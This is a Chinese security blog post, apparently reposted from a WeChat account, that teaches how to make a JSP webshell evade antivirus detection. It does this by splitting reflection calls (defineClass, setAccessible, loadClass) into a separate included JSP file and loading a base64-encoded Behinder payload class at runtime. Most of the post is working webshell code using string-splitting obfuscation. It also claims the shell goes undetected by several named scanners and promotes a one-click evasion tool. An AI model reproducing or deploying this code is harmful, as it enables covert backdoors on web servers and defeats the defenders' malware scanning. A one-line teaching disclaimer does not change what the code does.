JSP木马免杀-分离加载类文件

admin 2023年12月1日20:36:58评论41 views字数 2868阅读9分33秒阅读模式

JSP木马免杀-分离加载类文件

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚


今天更新了XG拟态V1.5版本
本文介绍一下jspdemo7的免杀原理
https://github.com/xiaogang000/XG_NTAI

原理
采用分离免杀和文件包含的原理,将高危函数放在单独jsp文件(类jsp)中等待调用,在webshell中文件包含该jsp(类jsp)
单文件检测时沙箱无法调用(类jsp),从而导致500报错,从而绕过
              
基础文件(类jsp)
将需要使用的高危函数defineClasssetAccessibleloadClass等使用反射获取到对应的method
放在一个自定义类里等待调用
然后将该类写成jsp文件单独上传(这里称为: 类jsp),并记录上传后的jsp文件名(比如:method.jsp)。
<%!public static class M {    M(){}    public static java.util.Map<String,Object> getmethod () throws Exception {        java.util.HashMap<String, Object> map = new java.util.HashMap<String, Object>();        java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);        map.put("defineClass",defineClass);        java.lang.reflect.Method setAccessible = java.lang.reflect.AccessibleObject.class.getMethod("setAccessible", boolean.class);        map.put("setAccessible",setAccessible);        java.lang.reflect.Method loadClass = ClassLoader.class.getDeclaredMethod("loadClass", String.class);        map.put("loadClass",loadClass);        return map;    }}%>
              
使用文件包含调用M类
在webshell中将tomcat某版本解析出的冰蝎class文件使用base64存储
解码后使用defineClass注册成为一个类
String yBTRKS_jsp = "ZHFxxxxxxx";              byte[] classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp);              yBTRKS_jsp = new String(classBytes_yBTRKS_jsp);              classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp.substring(24));
在webshell中使用include包含(类jsp)
<%@ include file="method.jsp"%>
才能使用(Method)M.getmethod().get("defi"+"neClass");获取到defineClass函数
Method defineClass = (Method)M.getmethod().get("defi"+"neClass");              Method setAccessible = (Method)M.getmethod().get("setA"+"ccessible");              Method loadClass = (Method)M.getmethod().get("loadC"+"lass");              setAccessible.invoke(defineClass,true);
然后再使用invoke()函数执行,并注册成为一个HttpJspBase即可
<%@ page pageEncoding="UTF-8" %><%@ page import="java.util.*" %><%@ page import="java.lang.reflect.*" %><%@ page import="org.apache.jasper.runtime.HttpJspBase" %><%@ include file="method.jsp"%><%    String yBTRKS_jsp = "ZHFxxxxxxx";    byte[] classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp);    yBTRKS_jsp = new String(classBytes_yBTRKS_jsp);    classBytes_yBTRKS_jsp = Base64.getDecoder().decode(yBTRKS_jsp.substring(24));
Method defineClass = (Method)M.getmethod().get("defi"+"neClass"); Method setAccessible = (Method)M.getmethod().get("setA"+"ccessible"); Method loadClass = (Method)M.getmethod().get("loadC"+"lass"); setAccessible.invoke(defineClass,true); Class aClass = null; try { defineClass.invoke(application.getClassLoader(), "org.apache.jsp.yBTRKS_jsp", classBytes_yBTRKS_jsp, 0, classBytes_yBTRKS_jsp.length);
}catch (Exception exception){ aClass = (Class) loadClass.invoke(application.getClassLoader(), "org.apache.jsp.yBTRKS_jsp"); } HttpJspBase httpJspBase = (HttpJspBase) aClass./*test*/ newInstance(); httpJspBase.init(pageContext.getServletConfig()); httpJspBase.service(request, response);%>


可免杀:

阿里云恶意文件检测平台、阿里云主机病毒查杀、河马在线、河马本地(1.8.2)、

D盾(2.1.7)、微步(安全)、VT(0红)

JSP木马免杀-分离加载类文件

使用XG_NTAI.jar一键免杀即可

JSP木马免杀-分离加载类文件

XG拟态会持续更新免杀demo,多多支持star

原文始发于微信公众号(XG小刚):JSP木马免杀-分离加载类文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月1日20:36:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JSP木马免杀-分离加载类文件https://cn-sec.com/archives/2260644.html

发表评论

匿名网友 填写信息